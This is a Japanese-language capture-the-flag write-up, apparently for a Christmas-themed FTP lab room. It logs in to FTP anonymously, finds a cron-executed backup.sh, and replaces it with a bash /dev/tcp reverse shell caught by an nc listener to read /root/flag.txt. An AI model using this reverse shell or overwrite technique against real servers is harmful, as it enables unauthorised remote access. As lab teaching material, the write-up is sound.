はじめに#
今回は基本的なftpサーバへの接続方法やコマンドを学ぶ章になっています。 また、設定の不備によってftpからシェルを奪取する基本的な方法について学ぶことができます。
Anyone can be Santa!#
Name the directory on the FTP server that has data accessible by the “anonymous” user#
FTPサーバー上の、anonymousユーザーがアクセスできるデータを持つディレクトリの名前
まずはftpコマンドでインスタンスに接続します。
ftp 10.10.xxx.xxx名前を聞かれるのでanonymousユーザでログインします。
そして中身を確認して1問目は終了です。
ftp>lsWhat script gets executed within this directory?#
このディレクトリの中で、どのようなスクリプトが実行されるのでしょうか?
先程のanonymousユーザがアクセスできるディレクトリにあるスクリプトを確認して終了です。
What movie did Santa have on his Christmas shopping list?#
サンタがクリスマスの買い物リストに入れた映画は?
こちらもpublic配下にあるファイルから取得できます。
ftp>cd public
ftp>get xxxxxxxxxxxx.txtRe-upload this script to contain malicious data (just like we did in section 9.6. Output the contents of /root/flag.txt!#
このスクリプトを悪意のあるデータを含むように再アップロードする(9.6節で行ったのと同じように。/root/flag.txtの内容を出力してください!
まずは、スクリプトをGetしてきます
ftp>get backup.shこのバックアップスクリプトは定期的にcron実行されるのではないかとあたりをつけ、手元で中身を変えたあと、再度ftpサーバにputします
#!/bin/bash
bash -i >& /dev/tcp/10.11.xxx.xxx/4242 0>&1このReverse ShellのスクリプトはPayloadsAllTheThingsに記載されています。 IPアドレスは自分のIPアドレスを記載してください。
その後、書き換えたbackup.shをftpサーバ上に再度あげます
ftp>put backup.sh定期的にbackup.shが実行されることを期待して、こちらでListenしておきます。
nc -lvnp 42421分ほど放置していると、無事bashが帰ってきていることを確認できます。 それでflagを取得して終了です。
おわりに#
今回は基本的なftpサーバへの接続方法やコマンド類、また設定の不備からシェルを奪取する方法について学びました。 今回の最後の問題から少し考えさせられるような問題が来ましたが、分からない部分は記述してある文章をよく読めば解けるようになっているので、OSCPライクなマシンの攻略を考えている人の最初のとっかかりになる問題だと思います。